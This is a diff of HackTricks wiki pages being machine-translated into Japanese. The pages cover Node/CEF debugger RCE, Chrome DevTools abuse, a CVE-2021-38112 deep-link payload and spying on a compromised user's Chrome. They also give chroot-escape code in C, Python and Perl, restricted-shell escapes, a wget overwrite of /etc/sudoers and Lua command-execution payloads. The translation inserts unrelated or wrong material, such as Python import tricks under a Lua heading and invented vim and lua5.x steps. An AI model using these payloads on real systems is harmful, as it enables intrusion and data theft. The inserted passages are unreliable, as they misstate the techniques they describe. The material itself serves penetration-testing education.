+これはコンテナ内で役立ちます。`--inspect`を使用してプロセスをシャットダウンして新しいプロセスを開始することはできません。なぜなら、プロセスとともにコンテナが終了してしまうからです。 {% endhint %} -### Connect to inspector/debugger +### インスペクタ/デバッガへの接続 -If you have access to a **Chromium base browser** you can connect accessing `chrome://inspect` or `edge://inspect` in Edge. Click the Configure button and ensure your **target host and port** are listed (Find an example in the following image of how to get RCE using one of the next sections examples). +もし、**Chromiumベースのブラウザ**にアクセスできる場合、`chrome://inspect`または`edge://inspect`にアクセスして接続することができます。Configureボタンをクリックし、**ターゲットのホストとポート**がリストされていることを確認してください(次のイメージに、次のセクションの例を使用してRCEを取得する方法の例があります)。 ![](<../../.gitbook/assets/image (620) (1).png>) -Using the **command line** you can connect to a debugger/inspector with: - +**コマンドライン**を使用して、デバッガ/インスペクタに接続することもできます。 ```bash node inspect : node inspect 127.0.0.1:9229 # RCE example from debug console debug> exec("process.mainModule.require('child_process').exec('/Applications/iTerm.app/Contents/MacOS/iTerm2')") ``` - -The tool [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug), allows to **find inspectors** running locally and **inject code** into them. - +このツール[**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug)は、ローカルで実行中の**インスペクターを見つけ**、それらに**コードを注入**することができます。 ```bash #List possible vulnerable sockets ./cefdebug.exe @@ -100,76 +89,67 @@ The tool [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefd #Exploit it ./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')" ``` - {% hint style="info" %} -Note that **NodeJS RCE exploits won't work** if connected to a browser via [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) (you need to check the API to find interesting things to do with it). +注意してください、**NodeJS RCE exploitsは**[**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/)を介してブラウザに接続されている場合は機能しません(興味深いことをするためにAPIをチェックする必要があります)。 {% endhint %} -## RCE in NodeJS Debugger/Inspector +## NodeJSデバッガー/インスペクターでのRCE {% hint style="info" %} -If you came here looking how to get [**RCE from a XSS in Electron please check this page.**](../../network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/) +もしElectronのXSSからRCEを取得する方法を探してここに来た場合は、[**このページをチェックしてください。**](../../network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/) {% endhint %} -Some common ways to obtain **RCE** when you can **connect** to a Node **inspector** is using something like (looks that this **won't work in a connection to Chrome DevTools protocol**): - +Node **inspector**に**接続**できる場合、**RCE**を取得するための一般的な方法は次のようなものです(Chrome DevTools Protocolへの接続では機能しないようです): ```javascript process.mainModule.require('child_process').exec('calc') window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe") require('child_process').spawnSync('calc.exe') Browser.open(JSON.stringify({url: "c:\\windows\\system32\\calc.exe"})) ``` - ## Chrome DevTools Protocol Payloads -You can check the API here: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\ -In this section I will just list interesting things I find people have used to exploit this protocol. +APIはこちらで確認できます:[https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\ +このセクションでは、このプロトコルを悪用するために人々が使用した興味深い事例をリストアップします。 -### Parameter Injection via Deep Links +### ディープリンクを介したパラメーターのインジェクション -In the [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) Rhino security discovered that an application based on CEF **registered a custom UR**I in the system (workspaces://) that received the full URI and then **launched the CEF based applicatio**n with a configuration that was partially constructing from that URI. +[**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/)では、Rhino SecurityがCEFベースのアプリケーションがシステムにカスタムURI(workspaces://)を登録し、そのURIを受け取り、そのURIから一部構築された設定でCEFベースのアプリケーションを起動していることを発見しました。 -It was discovered that the URI parameters where URL decoded and used to launch the CEF basic application, allowing a user to **inject** the flag **`--gpu-launcher`** in the **command line** and execute arbitrary things. - -So, a payload like: +URIのパラメーターがURLデコードされ、CEFベースのアプリケーションの起動に使用されることがわかりました。これにより、ユーザーはコマンドラインにフラグ**`--gpu-launcher`**を**インジェクト**し、任意の操作を実行することができます。 +したがって、以下のようなペイロードを使用することができます: ``` workspaces://anything%20--gpu-launcher=%22calc.exe%22@REGISTRATION_CODE ``` +calc.exeを実行します。 -Will execute a calc.exe. - -### Overwrite Files - -Change the folder where **downloaded files are going to be saved** and download a file to **overwrite** frequently used **source code** of the application with your **malicious code**. +### ファイルの上書き +**ダウンロードされたファイルが保存されるフォルダ**を変更し、**悪意のあるコード**で**アプリケーションの頻繁に使用されるソースコード**を上書きするためにファイルをダウンロードします。 ```javascript ws = new WebSocket(url); //URL of the chrome devtools service ws.send(JSON.stringify({ - id: 42069, - method: 'Browser.setDownloadBehavior', - params: { - behavior: 'allow', - downloadPath: '/code/' - } +id: 42069, +method: 'Browser.setDownloadBehavior', +params: { +behavior: 'allow', +downloadPath: '/code/' +} })); ``` +### Webdriver RCEと情報の外部流出 -### Webdriver RCE and exfiltration +この記事[https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148)によると、theriverからRCEを取得し、内部ページを外部に流出させることが可能です。 -According to this post: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148) it's possible to obtain RCE and exfiltrate internal pages from theriver. +### ポストエクスプロイテーション -### Post-Exploitation - -In a real environment and **after compromising** a user PC that uses Chrome/Chromium based browser you could launch a Chrome process with the **debugging activated and port-forward the debugging port** so you can access it. This way you will be able to **inspect everything the victim does with Chrome and steal sensitive information**. - -The stealth way is to **terminate every Chrome process** and then call something like +実際の環境で、ユーザーのPCを侵害した後、Chrome/Chromiumベースのブラウザを使用してChromeプロセスを起動し、デバッグを有効化し、デバッグポートをポートフォワードすることができます。これにより、被害者がChromeで行うすべての操作を検査し、機密情報を盗むことができます。 +ステルスの方法は、すべてのChromeプロセスを終了し、次のような呼び出しを行うことです。 ```bash Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session" ``` - -## References +## 参考文献 * [https://www.youtube.com/watch?v=iwR746pfTEc\&t=6345s](https://www.youtube.com/watch?v=iwR746pfTEc\&t=6345s) * [https://github.com/taviso/cefdebug](https://github.com/taviso/cefdebug) @@ -186,14 +166,14 @@ Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session" ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 diff --git a/linux-hardening/privilege-escalation/escaping-from-limited-bash.md b/linux-hardening/privilege-escalation/escaping-from-limited-bash.md index 97f0832e9..a77c4f534 100644 --- a/linux-hardening/privilege-escalation/escaping-from-limited-bash.md +++ b/linux-hardening/privilege-escalation/escaping-from-limited-bash.md @@ -1,44 +1,43 @@ -# Escaping from Jails +# 制限された環境からの脱出
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
## **GTFOBins** -**Search in** [**https://gtfobins.github.io/**](https://gtfobins.github.io) **if you can execute any binary with "Shell" property** +**[https://gtfobins.github.io/](https://gtfobins.github.io)** **で "Shell" プロパティを持つバイナリを実行できるか検索します** -## Chroot Escapes +## Chrootの脱出 -From [wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations): The chroot mechanism is **not intended to defend** against intentional tampering by **privileged** (**root**) **users**. On most systems, chroot contexts do not stack properly and chrooted programs **with sufficient privileges may perform a second chroot to break out**.\ -Usually this means that to escape you need to be root inside the chroot. +[wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations)から:chrootメカニズムは、特権のある(root)ユーザーによる意図的な改ざんに対しては**防御することが意図されていません**。ほとんどのシステムでは、chrootコンテキストは正しくスタックされず、特権を持つchrootプログラムは**2番目のchrootを実行して脱出する**ことができます。\ +通常、これは脱出するためにchroot内でrootである必要があることを意味します。 {% hint style="success" %} -The **tool** [**chw00t**](https://github.com/earthquake/chw00t) was created to abuse the following escenarios and scape from `chroot`. +**chw00t**という**ツール**は、次のエスケープシナリオを悪用して`chroot`から脱出するために作成されました。 {% endhint %} ### Root + CWD {% hint style="warning" %} -If you are **root** inside a chroot you **can escape** creating **another chroot**. This because 2 chroots cannot coexists (in Linux), so if you create a folder and then **create a new chroot** on that new folder being **you outside of it**, you will now be **outside of the new chroot** and therefore you will be in the FS. +chroot内で**root**である場合、**別のchroot**を作成して**脱出**することができます。これは、2つのchrootは同時に存在できないため(Linuxでは)、新しいフォルダを作成し、その新しいフォルダに対して**新しいchroot**を作成し、**それ以外の場所にいる**場合、**新しいchrootの外側**になります。 -This occurs because usually chroot DOESN'T move your working directory to the indicated one, so you can create a chroot but e outside of it. +これは、通常、chrootは作業ディレクトリを指定した場所に移動しないため、chrootを作成できますが、その外側にいることができます。 {% endhint %} -Usually you won't find the `chroot` binary inside a chroot jail, but you **could compile, upload and execute** a binary: +通常、chrootのジェイル内には`chroot`バイナリはありませんが、バイナリを**コンパイルしてアップロードし、実行**することができます:
C: break_chroot.c - ```c #include #include @@ -48,62 +47,54 @@ Usually you won't find the `chroot` binary inside a chroot jail, but you **could int main(void) { - mkdir("chroot-dir", 0755); - chroot("chroot-dir"); - for(int i = 0; i < 1000; i++) { - chdir(".."); - } - chroot("."); - system("/bin/bash"); +mkdir("chroot-dir", 0755); +chroot("chroot-dir"); +for(int i = 0; i < 1000; i++) { +chdir(".."); +} +chroot("."); +system("/bin/bash"); } ``` -
-Python - +Python(パイソン) ```python #!/usr/bin/python import os os.mkdir("chroot-dir") os.chroot("chroot-dir") for i in range(1000): - os.chdir("..") +os.chdir("..") os.chroot(".") os.system("/bin/bash") ``` - -
-
-Perl - +Perl(パール) ```perl #!/usr/bin/perl mkdir "chroot-dir"; chroot "chroot-dir"; foreach my $i (0..1000) { - chdir ".." +chdir ".." } chroot "."; system("/bin/bash"); ``` -
-### Root + Saved fd +### Root + 保存されたFD {% hint style="warning" %} -This is similar to the previous case, but in this case the **attacker stores a file descriptor to the current directory** and then **creates the chroot in a new folder**. Finally, as he has **access** to that **FD** **outside** of the chroot, he access it and he **escapes**. +これは前のケースと似ていますが、この場合、**攻撃者は現在のディレクトリへのファイルディスクリプタを保存**し、その後、**新しいフォルダにchrootを作成**します。最後に、彼はchrootの**外部**でその**FDにアクセス**できるため、彼は**脱出**します。 {% endhint %}
C: break_chroot.c - ```c #include #include @@ -113,71 +104,69 @@ This is similar to the previous case, but in this case the **attacker stores a f int main(void) { - mkdir("tmpdir", 0755); - dir_fd = open(".", O_RDONLY); - if(chroot("tmpdir")){ - perror("chroot"); - } - fchdir(dir_fd); - close(dir_fd); - for(x = 0; x < 1000; x++) chdir(".."); - chroot("."); +mkdir("tmpdir", 0755); +dir_fd = open(".", O_RDONLY); +if(chroot("tmpdir")){ +perror("chroot"); +} +fchdir(dir_fd); +close(dir_fd); +for(x = 0; x < 1000; x++) chdir(".."); +chroot("."); } ``` -
### Root + Fork + UDS (Unix Domain Sockets) {% hint style="warning" %} -FD can be passed over Unix Domain Sockets, so: +Unixドメインソケットを介してFDを渡すことができるため、次の手順を実行します: -* Create a child process (fork) -* Create UDS so parent and child can talk -* Run chroot in child process in a different folder -* In parent proc, create a FD of a folder that is outside of new child proc chroot -* Pass to child procc that FD using the UDS -* Child process chdir to that FD, and because it's ouside of its chroot, he will escape the jail +* 子プロセスを作成します(fork) +* 親と子が通信できるようにUDSを作成します +* 子プロセスで別のフォルダにchrootを実行します +* 親プロセスで、新しい子プロセスのchrootの外にあるフォルダのFDを作成します +* UDSを使用してそのFDを子プロセスに渡します +* 子プロセスはそのFDにchdirし、chrootの外部にあるため、刑務所から脱出します {% endhint %} ### Root + Mount {% hint style="warning" %} -* Mounting root device (/) into a directory inside the chroot -* Chrooting into that directory +* ルートデバイス(/)をchroot内のディレクトリにマウントします +* そのディレクトリにchrootします -This is possible in Linux +これはLinuxで可能です {% endhint %} ### Root + /proc {% hint style="warning" %} -* Mount procfs into a directory inside the chroot (if it isn't yet) -* Look for a pid that has a different root/cwd entry, like: /proc/1/root -* Chroot into that entry +* chroot内のディレクトリにprocfsをマウントします(まだマウントされていない場合) +* /proc/1/rootのように、異なるルート/カレントディレクトリエントリを持つpidを探します +* そのエントリにchrootします {% endhint %} ### Root(?) + Fork {% hint style="warning" %} -* Create a Fork (child proc) and chroot into a different folder deeper in the FS and CD on it -* From the parent process, move the folder where the child process is in a folder previous to the chroot of the children -* This children process will find himself outside of the chroot +* フォーク(子プロセス)を作成し、FS内の別のフォルダにchrootし、それにCDします +* 親プロセスから、子プロセスがいるフォルダを、子プロセスのchrootの前のフォルダに移動します +* この子プロセスは、chrootの外にいることになります {% endhint %} ### ptrace {% hint style="warning" %} -* Time ago users could debug its own processes from a process of itself... but this is not possible by default anymore -* Anyway, if it's possible, you could ptrace into a process and execute a shellcode inside of it ([see this example](linux-capabilities.md#cap\_sys\_ptrace)). +* 以前は、ユーザーは自分自身のプロセスを自身のプロセスからデバッグできました...しかし、これはデフォルトではもう不可能です +* それでも、可能な場合は、プロセスにptraceしてその中でシェルコードを実行できます([この例を参照してください](linux-capabilities.md#cap\_sys\_ptrace))。 {% endhint %} ## Bash Jails -### Enumeration - -Get info about the jail: +### 列挙 +刑務所に関する情報を取得します: ```bash echo $SHELL echo $PATH @@ -185,105 +174,174 @@ env export pwd ``` +### PATHの変更 -### Modify PATH - -Check if you can modify the PATH env variable - +PATH環境変数を変更できるかどうかを確認します。 ```bash echo $PATH #See the path of the executables that you can use PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path echo /home/* #List directory ``` +### vimを使用する -### Using vim +Vimを使用して、制限された環境からの脱出を試みることができます。以下の手順に従ってください。 +1. Vimを起動します。 + +```bash +vim +``` + +2. Vimのコマンドモードに移動します。 + +```bash +: +``` + +3. Vimのコマンドモードで、以下のコマンドを入力します。 + +```bash +:set shell=/bin/sh +``` + +4. コマンドモードを終了し、Vimを再起動します。 + +```bash +:q! +``` + +5. Vimが再起動したら、以下のコマンドを入力してシェルを実行します。 + +```bash +:shell +``` + +これにより、制限された環境からシェルにアクセスすることができます。 ```bash :set shell=/bin/sh :shell ``` +### スクリプトの作成 -### Create script - -Check if you can create an executable file with _/bin/bash_ as content - +_content_ として _/bin/bash_ を持つ実行可能ファイルを作成できるかどうかを確認します。 ```bash red /bin/bash > w wx/path #Write /bin/bash in a writable and executable path ``` +### SSHからbashを取得する -### Get bash from SSH - -If you are accessing via ssh you can use this trick to execute a bash shell: - +SSH経由でアクセスしている場合、次のトリックを使用してbashシェルを実行できます: ```bash ssh -t user@ bash # Get directly an interactive shell ssh user@ -t "bash --noprofile -i" ssh user@ -t "() { :; }; sh -i " ``` +### 宣言する -### Declare +In Bash, the `declare` command is used to declare variables and give them attributes. These attributes can be used to control the behavior and characteristics of the variables. The `declare` command can also be used to create and manipulate arrays. ```bash -declare -n PATH; export PATH=/bin;bash -i - -BASH_CMDS[shell]=/bin/bash;shell -i +declare [-aAfFgilnrtux] [-p] [name[=value] ...] ``` +The options for the `declare` command are as follows: + +- `-a`: Declare the variable as an indexed array. +- `-A`: Declare the variable as an associative array. +- `-f`: Declare the variable as a function. +- `-F`: Declare the variable as a function, but without defining its body. +- `-g`: Declare the variable as global. +- `-i`: Declare the variable as an integer. +- `-l`: Convert the value of the variable to lowercase. +- `-n`: Treat the variable as a reference to another variable. +- `-r`: Declare the variable as read-only. +- `-t`: Declare the variable as a trace variable. +- `-u`: Convert the value of the variable to uppercase. +- `-x`: Export the variable to the environment. + +The `-p` option can be used to display the attributes and values of the variables. + +Here are some examples of using the `declare` command: + +```bash +declare -i num=10 +declare -a arr=("apple" "banana" "cherry") +declare -r readonly_var="This variable is read-only" +declare -x exported_var="This variable is exported" +``` + +In the above examples, the `declare` command is used to declare a variable `num` as an integer, an array `arr`, a read-only variable `readonly_var`, and an exported variable `exported_var`. +```bash +declare -n PATH; export PATH=/bin;bash -i + +BASH_CMDS[shell]=/bin/bash;shell -i +``` ### Wget -You can overwrite for example sudoers file - +sudoersファイルを上書きすることができます。 ```bash wget http://127.0.0.1:8080/sudoers -O /etc/sudoers ``` - -### Other tricks +### その他のトリック [**https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/**](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/)\ [https://pen-testing.sans.org/blog/2012/0**b**6/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells\*\*]\(https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\ [https://gtfobins.github.io](https://gtfobins.github.io/\*\*]\(https/gtfobins.github.io)\ -**It could also be interesting the page:** +**次のページも興味深いかもしれません:** {% content-ref url="../useful-linux-commands/bypass-bash-restrictions.md" %} [bypass-bash-restrictions.md](../useful-linux-commands/bypass-bash-restrictions.md) {% endcontent-ref %} -## Python Jails +## Pythonのジェイル -Tricks about escaping from python jails in the following page: +次のページには、Pythonのジェイルからの脱出に関するトリックがあります: {% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} [bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/) {% endcontent-ref %} -## Lua Jails +## Luaのジェイル -In this page you can find the global functions you have access to inside lua: [https://www.gammon.com.au/scripts/doc.php?general=lua\_base](https://www.gammon.com.au/scripts/doc.php?general=lua\_base) - -**Eval with command execution:** +このページでは、Lua内でアクセスできるグローバル関数を見つけることができます: [https://www.gammon.com.au/scripts/doc.php?general=lua\_base](https://www.gammon.com.au/scripts/doc.php?general=lua\_base) +**コマンドの実行を伴う評価:** ```bash load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))() ``` +いくつかのトリックを使って、**ドットを使用せずにライブラリの関数を呼び出す方法**があります: -Some tricks to **call functions of a library without using dots**: +1. Using the `import` statement: You can import the library and then directly call the functions using the library name as a prefix. For example, if you want to call the `my_function()` function from the `my_library` library, you can do it like this: +```python +import my_library +my_library.my_function() +``` +2. Using the `from` statement: You can import specific functions from the library and then call them directly without using the library name as a prefix. For example, if you want to call the `my_function()` function from the `my_library` library, you can do it like this: +```python +from my_library import my_function +my_function() +``` + +3. Using the `getattr()` function: You can use the `getattr()` function to dynamically retrieve and call functions from a library. This allows you to call functions without explicitly knowing their names. For example, if you have a variable `function_name` that contains the name of the function you want to call, you can do it like this: +```python +import my_library +function_name = "my_function" +getattr(my_library, function_name)() +``` + +These tricks can be useful in scenarios where you want to call library functions in a more flexible or dynamic way, without relying on the traditional dot notation. ```bash print(string.char(0x41, 0x42)) print(rawget(string, "char")(0x41, 0x42)) ``` - -Enumerate functions of a library: - +列挙されたライブラリの関数: ```bash for k,v in pairs(string) do print(k,v) end ``` - -Note that every time you execute the previous one liner in a **different lua environment the order of the functions change**. Therefore if you need to execute one specific function you can perform a brute force attack loading different lua environments and calling the first function of le library: - +注意してください。前述のワンライナーを**異なるLua環境で実行するたびに、関数の順序が変わります**。したがって、特定の関数を実行する必要がある場合は、異なるLua環境をロードし、leライブラリの最初の関数を呼び出すブルートフォース攻撃を実行することができます。 ```bash -#In this scenario you could BF the victim that is generating a new lua environment +#In this scenario you could BF the victim that is generating a new lua environment #for every interaction with the following line and when you are lucky #the char function is going to be executed for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end @@ -292,25 +350,52 @@ for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end #and "char" from string library, and the use both to execute a command for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done ``` +**インタラクティブなLuaシェルを取得する**: 制限されたLuaシェル内にいる場合、次のコマンドを実行して新しいLuaシェル(そしておそらく制限のないシェル)を取得できます。 -**Get interactive lua shell**: If you are inside a limited lua shell you can get a new lua shell (and hopefully unlimited) calling: +```bash +lua -e 'os.execute("/bin/sh")' +``` +または + +```bash +lua5.1 -e 'os.execute("/bin/sh")' +``` + +または + +```bash +lua5.2 -e 'os.execute("/bin/sh")' +``` + +または + +```bash +lua5.3 -e 'os.execute("/bin/sh")' +``` + +または + +```bash +lua5.4 -e 'os.execute("/bin/sh")' +``` + +これにより、制限のないシェルにアクセスできるはずです。 ```bash debug.debug() ``` +## 参考文献 -## References - -* [https://www.youtube.com/watch?v=UO618TeyCWo](https://www.youtube.com/watch?v=UO618TeyCWo) (Slides: [https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf](https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf)) +* [https://www.youtube.com/watch?v=UO618TeyCWo](https://www.youtube.com/watch?v=UO618TeyCWo) (スライド: [https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf](https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf))
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/linux-hardening/privilege-escalation/euid-ruid-suid.md b/linux-hardening/privilege-escalation/euid-ruid-suid.md index ea7c9f23b..a1130e32f 100644 --- a/linux-hardening/privilege-escalation/euid-ruid-suid.md +++ b/linux-hardening/privilege-escalation/euid-ruid-suid.md @@ -1,258 +1,207 @@ -# euid, ruid, suid +# euid、ruid、suid
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION 